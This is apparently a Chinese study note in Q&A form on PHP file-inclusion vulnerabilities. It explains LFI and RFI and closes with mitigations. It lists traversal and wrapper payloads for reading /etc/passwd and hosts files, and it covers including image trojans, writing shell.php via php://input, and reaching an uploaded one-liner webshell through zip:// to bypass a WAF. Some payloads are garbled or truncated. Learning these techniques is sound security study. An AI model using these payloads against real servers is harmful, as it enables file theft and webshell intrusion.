最近的总结都比较简单,但不是在水,只是在我学习过程中总结的觉得真的有用的知识,还有就是有些代码发不出来我也没办法,所以就有所调整。
文件包含原理是啥?
文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,
就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,
此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
讲讲文件包含的两种类型呢?
本地文件包含LFI(local file include)当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(remote file include)当被包含的文件在第三方服务器时,叫做远程文件包含。
远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,
由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
PHP进行文件包含的四种函数讲讲?
PHP中提供了四个文件包含的函数,分别是include()、include_once()、require()和require_once()。
这四个函数都可以进行文件包含,但作用并不一样。
文件包含有哪些特征?
?page=a.php
?home=b.html
?file=content
说说文件包含的常见检测呢?
?file=…/…/…/…/etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/…/…/…/…/dir/file.txt
讲讲怎样利用文件包含?
思路:
制作一个图片马,通过文件上传漏洞上传;
通过文件包含漏洞对该图片马进行“包含”;
获取执行结果
一、 读取敏感文件
我们可以利用文件包含漏洞,读取任意文件,读取文件的时候有利用条件
① 目标主机文件存在(目标文件的绝对路径和相对路径);
② 具有文件可读权限
提交参数?path=c:\windows\System32\drivers\etc\hosts读取本地host文件
?path=…\windows\System 32\drivers\etc\hosts x先返回到最上级目录即根目录er
二、 直接包含图片木马
可以利用文件包含漏洞直接包含图片木马,直接包含图片木马?path=pngYjh.png 然后使用蚁剑或者中国菜刀连接
三、包含木马写shell
可以将以下代码写入图片中
?>
代码含义是:在当前目录下创建一个名为shell.php的文件,内容是
四、PHP封装协议——传输PHP文件
?path=php://filter/read=convert.base64-encode/recourse=inc.php //把得到的字符串使用base64解密即可
五、 PHP封装协议——访问本地文件
使用PHP的file协议访问本地系统文件,提交参数
?path=php://c:\windows\System32\drivers\etc\hosts
六、PHP封装协议——执行PHP命令
PHP伪协议(文件包含漏洞常用的利用方法)
PHP协议因为自定义的,所以被称为伪协议。PHP伪协议实际上是PHP所支持的协议与封装协议,共12种。
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs【文件传输协议】
php:// — 访问各个输入/输出流(I/O streams)
zip:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
下面着重写几种常用的协议
一、php://——访问各个输入/输出流
使用条件:不需要开启allow_url_fopen,仅php://input、php://stdin、php://memory 和 php://temp 需要开启allow_url_include且打开危害较大,
需要慎重;php://访问各个输入输入、输出流,在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
php://filter在php.ini配置下,allow_url_fopen和allow_url_include双off情况下也可以使用。
?file=php://filter/read=convert.base64-encode/recourse=inc.php //把得到的字符串使用base64解密即可
?file=php://filter/convert.base64-encode/resource=index.php //或去掉read
php://input可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
php.ini配置中allow_url_fopen :off/on ;allow_url_include:on
POST :
也可以POST如下内容生成一句话:
');?> //包含木马写shell
代码含义是:在当前目录下创建一个名为shell.php的文件,内容是
二、file://——访问本地文件系统
用于访问本地文件系统,在CTF中通常用来读取本地文件且不受allow_url_fopen和allow_url_include控制。
?file=file://[文件的绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file:///etc/passwd
三、zip://——访问压缩流
压缩流,访问压缩文件的子文件,不受allow_url_fopen和allow_url_include控制。
?file=zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
http://127.0.0.1/cmd.php?file=zip:///var/www/html/shell.zip#shell.php
用法:将写好的一句话木马压缩为zip上传,然后使用zip协议访问,即可绕过waf访问一句话木马,zip协议只支持绝对路径。
四、phar://——PHP归档
访问phar文件,phar文件本质上也是压缩文件,不受allow_url_fopen和allow_url_include控制。
?file=phar://[压缩文件绝对路径/相对路径[压缩文件子文件名]
与zip协议的区别在于phar协议可以可以使用相对路径,但它本身可引起反序列化漏洞。
五、data://——数据流
php.ini的配置:
allow_url_fopen :on
allow_url_include:on
六、http://——访问 HTTP(s) 网址
php.ini的配置:
allow_url_fopen :on
allow_url_include:on
http://192.168.1.1/cmd.php?file=https://www.baidu.com //即显示百度主页
涉及远程文件包含,参考上面的远程文件包含漏洞演示。
文件包含漏洞的防范措施
在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作;
过滤…/…/,http://,https://
配置php.ini配置文件:
allow_url_fopen=off //不管开不开,本次文件包含都存在
Allow_url_include=off //远程文件包含漏洞时需要打开,打开时需要慎重,危害很大
magic_quotes_gpc=on
无需情况下设置allow_url_include和allow_url_fopen为关闭
通过白名单策略,仅允许包含运行指定的文件,其他的都禁止
建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,
包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。